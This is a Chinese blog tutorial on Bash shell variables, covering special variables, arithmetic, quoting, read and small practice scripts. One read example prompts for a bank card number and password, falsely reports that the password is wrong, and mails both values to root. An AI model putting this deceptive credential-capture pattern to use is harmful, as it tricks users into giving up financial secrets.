Linux Shell编程--变量
前言:本博客仅作记录学习使用,部分图片出自网络,如有侵犯您的权益,请联系删除
变量: bash作为程序设计语言和其它高级语言一样也提供使用和定义变量的功能
预定义变量、环境变量、自定义变量、位置变量
一、自定义变量
1、定义
在 Bash 中,定义变量非常简单,不像其他高级编程语言(如 C/C++、Java 等)那么复杂。在定义一个新变量时,一般不需要提前声明,只需直接指定变量名称并赋值即可
变量名称=值
- 变量名称:只能由字母,数字,下划线组成,不能以数字开头; 注意:应该让变量名称有意义;
- =: 赋值符号 前后不能有空格 ;
- 值:所有的字符串和数字都可以;
2、查看和引用变量的值
引用变量: $变量名或${变量名}。
当变量名称容易和紧跟其后的其他字符相混淆时,需要添加大括号 {}
将其括起来,否则将无法确定正确的变量名称。对于未定义的变量,将显示为空值
[root@centos ~]# a=100[root@centos ~]# echo $a100[root@centos ~]# echo $aa# 这里输出为空,因为解释器认为$aa是变量,使用大括号扩起:[root@centos ~]# echo ${a}a100a
查看变量:echo $变量名 set(所有变量:包括自定义变量和环境变量)
取消变量:unset 变量名 仅在当前shell中有效
作用范围:仅在当前shell中生效
3、echo选项
echo -n # 表示不换行输出echo -o # 输出转义字符,将转义后的内容输出到屏幕上
常用的转义字符:
\c # 不换行输出 \n # 换行\t # 插入tab,即制表符
4、取消定义
使用unset命令可取消变量的定义
二、特殊变量
特殊变量 | 含义 |
---|---|
$0 | 脚本的文件名 |
$1,$2,... | 脚本的第n个参数 |
$# | 脚本参数的个数 |
$? | 最后一个命令的退出状态码 |
$$ | 当前 Shell 进程的 PID |
$USER | 当前用户的用户名 |
$HOME | 当前用户的主目录 |
$* | 获取所有参数,并将每个参数作为单独字符返回 |
$@ | 将所有参数包括空白符一起作为一个字符返回 |
[root@centos ~]# lsanaconda-ks.cfg Desktop Documents Downloads initial-setup-ks.cfg Music Pictures Public Templates Videos[root@centos ~]# echo $?0[root@centos ~]# vim variable.sh#!/bin/bashecho "The current process is $$"#输出当前进程的PID#这个PID就是variable.sh脚本执行时生成的进程的PID[root@centos ~]# sleep 3000 & # 符号"&"的意思是把命令放入后台执行[1] 52547[root@centos ~]# echo $!52547
三、环境变量
shell在开始执行时已经定义好的
env 查看所有环境变量 set 查看所有变量
环境变量拥有可继承性:export之后就拥有继承性
export 导出变量(作用范围)
临时生效 :
[root@newrain ~]# IPADDR=192.168.1.1 [root@newrain ~]# echo $IPADDR 192.168.1.1
永久生效 :
写到4个登陆脚本中 ~/.bashrc ~/profile 更好放在/etc/profile.d/* 下建立独立的环境
变量配置文件:
常用环境变量:USER UID HOME HOSTNAME PWD PS1 PATH
PATH:存储所有命令所在的路径
四、变量运算
1、基本运算
算式运算符: +、-、*、/、()、%取余(取模)
运算方式:$(()) $[] expr
# $(())方式:[root@centos ~]# echo $(( 5+2-(3*2)/5 ))6# $[]方式:[root@centos ~]# echo $[ 5+2 - (3*2)/5 ]6# expr方式:运算符号两边的空格必须写;不能做浮点运算[root@centos ~]# expr 5 + 38[root@centos ~]# expr 5+35+3[root@centos ~]# expr 5 + 3.0expr: non-integer argument
2、乘法运算:
[root@centos ~]# expr 5 \* 840[root@centos ~]# expr 5 '*' 840
2、随机数:
为什么取余时需要+1是因为在取余时如果被整除那么余数会是0,这样就不在限定范围内了
# 取1-6之间的随机数echo $(( RANDOM % 6 + 1 ))# 随机生成从1~50之间的数echo $(($RANDOM%50+1))
3、浮点运算:
bash本身不能做小数计算:需要bc命令转换
bc 是一种用于数学计算的命令行工具,在大多数 Linux 和 Unix 系统中都是默认安装的。它支持高精度的小数运算,可以用于 Shell 脚本中进行小数运算
# 计算2乘以4[root@centos ~]# echo "2*4.1" | bc8.2# 计算2的4次方[root@centos ~]# echo "2^4" | bc16# 计算6除以4的结果,并且结果保留两位小数; scale:精度[root@centos ~]# echo "scale=2;6/4" | bc1.50
示例:
# 计算我的信用卡一年的利息,假设我欠10000块钱# cat rent.sh#!/bin/bashm=$( echo 5/10000|bc -l) # -l:定义使用的标准数学库# m=`echo 5/10000|bc -l`# 因为shell不支持小数,所以要用bc转换一下sum=10000for i in {1..365}dosum=$(echo $sum+$sum*$m | bc )echo $sumdoneecho $sum# 简单例子:#!/bin/bash sum=1for i in {1..20}dosum=$(echo $sum+1|bc)echo $sumdone
五、转义、单引号、双引号、单反引号
当一个字符被引用时,其特殊含义被禁止;使用转义把有意义的变的没意义,把没意义的变的有意义,比如\n
、\t
[root@centos ~]# echo -e '5\\n6\n7'5\n67
完全引用:''
//强引 硬引
部分引用:""
//弱引 软引
单反引号:``: 在 Shell 脚本中用于执行命令,并将命令的输出结果作为字符串返回
[root@centos ~]# num=1[root@centos ~]# echo 高三1班有$num个女生高三1班有1个女生[root@centos ~]# echo "高三1班有$num个女生"高三1班有1个女生[root@centos ~]# echo '高三1班有$num个女生'高三1班有$num个女生[root@centos ~]# current_date=`date`[root@centos ~]# echo "Current date and time: $current_date"Current date and time: Thu Aug 1 11:35:43 CST 2024
六、read读取用户标准输入
1、read命令
read:功能就是读取键盘输入的值,并赋给变量
语法:read [-options] [variable_name] ,其常用参数如下:
常用选项 | 含义 |
---|---|
-p prompt | 显示提示符,提示用户输入 |
-a array | 将输入的数据按照空格分割存储到数组中。 |
-d delimiter | 指定输入的结束符。 |
-r | 取消对反斜杠的特殊处理(默认情况下,反斜杠用于转义特殊字符)。 |
-n num_chars | 指定读取的字符数。 |
-s | 静默模式,用户输入不会显示在屏幕上。 |
-t timeout | 设置超时时间,在超时后 read 命令会自动退出。 |
2、基本用法
# read -t 5 var# echo var5# read -p "提示信息:" var提示信息dsfd# echo vardsfd
read后面的变量var可以只有一个,也可以有多个,这时如果输入多个数据,则第一个数据给第一个变量,第二个数据给第二个变量,如果输入数据个数过多,则最后所有的值都给最后一个变量
read -p "后面的内容为提示信息,需要打印出来" -s '后面的内容是加密信息,不要输出' -t 超时时间
下面示例几个简单的例子:
[root@centos ~]# cat read.sh #!/bin/bashread first second thirdecho "the first parameter is $first"echo "the second parameter is $second"echo "the third parameter is $third"[root@centos ~]# bash read.shone two threethe first parameter is onethe second parameter is twothe third parameter is three[root@centos ~]# cat test.sh # read testread -p "请输入你的银行卡帐号" numread -p "请在五秒内输入密码" -t 5 passecho "你的密码错误!"echo $num |mail -s "card num" rootecho $pass|mail -s "card pass" root# 自定义程序结果的正确[root@centos ~]# cat test1.sh #!/bin/bashread -p "Do you want to continue [Y/N]? " answercase $answer inY|y)echo "fine ,continue";;N|n)echo "ok,good bye";;*)echo "error choice";;esacexit 0
七、其他技巧
1、取消屏幕回显
# stty -echo# stty echo
2、变量长度
# a=123# echo ${#a}3
3、变量嵌套(扩展)
表示(变量)$var的长度
# eval 执行字符串内的可执行命令[root@newrain ~]# name='kobe'[root@newrain ~]# kobe=24[root@newrain ~]# eval echo '$'"${name}"24# 先获取name的值,通过再次构造echo命令,使用eval再一次执行语句,就达到我们的目的
简单实例:
[root@newrain shell]# cat d.sh#!/bin/bashecho 1.配置yum客户端echo 2.添加A记录echo 3.一键安装lamp环境echo 4.一键配置静态IPread -p "请选择你想使用的功能(1/2/3/4):" numcon_ip(){echo 这是配置IP地址的小工具}case $num in1):;;2):;;3):;;4)con_ip;;*):;;esac
八、练习
1、练习1
编写一个shell脚本,用于搜集其执行主机的信息,打印结果如下:
[root@centos ~]# ./test.sh 2012年 05月 24日 星期四 17:07:45 CST 当前的用户为 root 当前用户的宿主目录为 /root 用户的标识为 0 主机名称为 newrain 网卡的IP地址为 192.168.1.106
解题:
[root@centos ~]# vim ./test.sh#!/usr/bin/bash# 获取主机信息time=`date +%y年%m月%d日-%H:%M`ip=`ifconfig ens33 | grep netmask | awk '{print $2}'`echo "现在的时间是:" $timeecho "当前的用户是:" $USERecho "当前的用户标识是:" $UIDecho "当前的主机名称是:" $HOSTNAMEecho "当前可用网卡IP是:" $ip[root@centos ~]# bash test.sh 现在的时间是: 24年08月01日-00:47当前的用户是: root当前的用户标识是: 0当前的主机名称是: localhost.localdomain当前可用网卡IP是: 10.0.0.2
取根分区剩余空间:
# NR==2表示取第二行[root@centos ~]# df -h /dev/sda2 |awk 'NR==2{print $4}'1.9G
取当前系统剩余内存:
[root@centos ~]# echo "现在的剩余内存是:"`free -m |awk 'NR==2{print $4}'`现在的剩余内存是:1154
取当前系统剩余内存:
# /-d指定分隔符,-f指定显示区域,3-第三列以后(包括第三列)[root@centos ~]# echo 现在cpu的`uptime |cut -d, -f3-`现在cpu的 load average: 0.00, 0.01, 0.05[root@centos ~]# echo 现在cpu的`uptime |awk -F"," '{print $4,$5,$6}'`现在cpu的 0.01 0.05
2、练习2
编写一个脚本实现显示时间和日期, 列出所有登录系统的用户,并且给出系统的当前时间以及已经运行多长时间.最后脚本还会将这些信息写入一个日志文件;
[root@centos ~]# vim information.sh#!/bin/bashcentime=`date`nowtime=`uptime | awk '{print $1}'`username=`w -h | awk '{print $1}'|sort|uniq -c|awk '{print $2}'`time=`uptime | awk '{print $3,$4,$5}'`cat >>file1.txt <<EOFecho "时间:$centime"echo "系统的当前时间是: $nowtime"echo "系统已运行的时长: $time"echo "系统登录的用户有: $username"EOF[root@centos ~]# touch file1.txt[root@centos ~]# bash information.sh [root@centos ~]# cat file1.txt echo "时间:Thu Aug 1 01:07:05 CST 2024"echo "系统的当前时间是: 01:07:05"echo "系统已运行的时长: 2:25, 2 users,"echo "系统登录的用户有: root"
致谢
在此,我要对所有为知识共享做出贡献的个人和机构表示最深切的感谢。同时也感谢每一位花时间阅读这篇文章的读者,如果文章中有任何错误,欢迎留言指正。
学习永无止境,让我们共同进步!!
相关文章:

Linux Shell编程--变量
前言:本博客仅作记录学习使用,部分图片出自网络,如有侵犯您的权益,请联系删除 变量: bash作为程序设计语言和其它高级语言一样也提供使用和定义变量的功能 预定义变量、环境变量、自定义变量、位置变量 一、自定义变…...

软文写作必须掌握的技巧有哪些?
现代互联网飞速发展的时代,硬广逐渐变的效果越来越差,而软文推广已经成为网络营销的重要组成部分了,一篇好的软文往往能为你的产品、网站带来意想不到的效果。 用于做营销的软文,我们不能像写普通文章那样随意。一篇优质的软文会让…...

探索灵办AI:智能办公的好帮手
引言 随着AI工具的增多,选择合适的AI助手变得尤为重要。ChatGPT的订阅费用高且功能单一,很多小伙伴开始寻找更具性价比和多功能的替代品。灵办AI以其便捷、高效、多功能的特点,成为许多朋友的新宠。 灵办AI助手是一款多功能的全能AI助手&am…...

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?
flipped-aurora/gin-vue-admin: 🚀ViteVue3Gin的开发基础平台,支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…...

作业zzz
【考查点】 考查SpringBoot相关的知识点,包括:依赖注入(DI)、面向切面编程(AOP),以及常用的SpringBoot组件。 【作业要求】 利用spring-boot-starter-web来搭建一个web服务。完成简单的用户管…...

python 空list如何表示
创建空列表: L List() 或者: L [] 这时L就是一个空列表。 需要注意的是,空列表不是None,因此 L [] If L is not None:# 这里的代码总是会被执行 检查列表是否为空要使用len(): L [] if len(L):# 这里的代码不会执…...

C++ const、constexpr与consteval作用与区别
C const、constexpr与consteval作用与区别 在C 常量表达式和编译时优化中,我们已经提到了常量、编译时常量与运行时常量的概念。为了加深理解,我们再重新明晰一下这三者的概念。 常量:初始化之后便不可修改的量。在c中使用const修饰的“变量”…...
solidity 数学和密码学函数
数学和密码学函数为开发者提供了一系列强大的工具,用于执行各种数学运算和加密操作 addmod(uint x, uint y, uint k) returns (uint) 计算 (x y) % k,加法会在任意精度下执行,并且加法的结果即使超过 2**256 也不会被截取。 从 0.5.0 版本…...

opencv-图像透视变换
透射变换是视角变化的结果,是指利用透视中心,像点,目标点共线的条件,按透视旋转定律使承影面(透视面)绕迹线(透视轴旋转某一角度,破坏原有的投影光束,仍能保持承影面上投影几何图形不变的变化) 它的本质将图…...
C++ 域
C 域 :: C中域有函数局部域,全局域,命名空间域,类域;域影响的是编译时语法查找一个变量/函数/类型出处(声明或定义)的逻辑,所以有了域隔离,名字冲突就解决了。局部域和全局域除了…...

安装Supervisor队列进程、管理 Laravel 队列进程
在 CentOS 上安装 Supervisor 并配置 Laravel 的步骤如下: 1.安装 Supervisor: 使用以下命令安装 Supervisor: sudo yum install epel-release sudo yum install supervisor 2.配置 Supervisor: 创建一个新的 Supervisor 配置文…...

Windows入侵排查秘籍:锁死安全漏洞
文章目录 Windows入侵排查秘籍:锁死安全漏洞1 检查系统账号安全1.1 查看服务器是否有弱口令,远程管理端口是否对公网开放1.2 查看服务器是否存在可疑账号、新增账号1.3 结合日志,查看管理员登录时间、用户名是否存在异常 2 检查异常端口、进程…...
根据《广东省政务服务数字化条例》规定,政务服务数字化,是指将___广泛应用于政务服务,推动政务服务更加智能、便捷、高效的活动。()
根据《广东省政务服务数字化条例》规定,政务服务数字化,是指将___广泛应用于政务服务,推动政务服务更加智能、便捷、高效的活动。()查看试题完整内容答案 A、大数据B、人工智能 C、数字技术D、科学技术 根据《广州市支…...

git的基本操作和原理
基本操作 原理 Git是分布式版本控制系统,可以保存每次修改后的代码,方便我们随时返回。 根据用户所写的代码,自动生成commit号,这个版本号只与代码内容有关,只要代码内容不同,commit id 就不同。 使用哈希…...

Unity补完计划 之 SpriteRender
本文仅作笔记学习和分享,不用做任何商业用途 本文包括但不限于unity官方手册,unity唐老狮等教程知识,如有不足还请斧正 1.SpriteRenderer是什么 渲染精灵用的,是渲染的核心组件,有许多重要参数所以要详细讲一讲 Spri…...

数据结构第九讲:二叉树
数据结构第九讲:二叉树 1.实现链式结构二叉树1.1二叉树的节点结构1.2创建二叉树节点1.3前中后序遍历1.3.1前序遍历1.3.2中序遍历1.3.3后序遍历1.3.4总结 1.4二叉树结点的个数1.4.1错误示范1.4.2实现方法 1.5二叉树叶子结点的个数1.6二叉树第k层结点的个数1.7二叉树的…...

英伟达推出B200A瞄准OEM客群,预估2025年高端GPU出货量年增55%
市场近日传出NVIDIA(英伟达)取消B100并转为B200A,据TrendForce集邦咨询了解,NVIDIA仍计划在2024年下半年推出B100及B200,供应CSPs(云端服务业者)客户,并另外规划降规版B200A给其他企…...
Codeforces Round 962 (Div. 3)-补题
A. Legs 二分答案,最后取左端点的值,保险起见,还是再验算一次 bool check(int x){int an/4;if(a*4(x-a)*2>n) return true;return false; }void solve(){cin>>n;int l0,rn;while(l1<r){int midlr>>1;if(check(mid)) rmid…...
pandas的文本与序列化
文章目录 1.pandas的文本与序列化 result_data pd.DataFrame(json_data_list)with open(jsonl_file_path, w, encodingutf-8) as jsonl_file:result_data.to_json(orientrecords, linesTrue, force_asciiFalse, path_or_bufjsonl_file)数据不换行 df.at[i, column_name_transc…...
在企业级环境中部署Java程序:Docker命令实用指南
在企业级环境中部署Java程序:Docker命令实用指南 引言 在企业级开发中,Java应用程序的部署往往需要考虑效率、安全性和可移植性。Docker作为一个流行的容器化平台,提供了一种简便、一致且可移植的方式来部署Java应用。以下是一些常用的Dock…...

Day131 | 灵神 | 回溯算法 | 子集型 子集
Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣(LeetCode) 思路: 笔者写过很多次这道题了,不想写题解了,大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...

无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...

12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...

c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...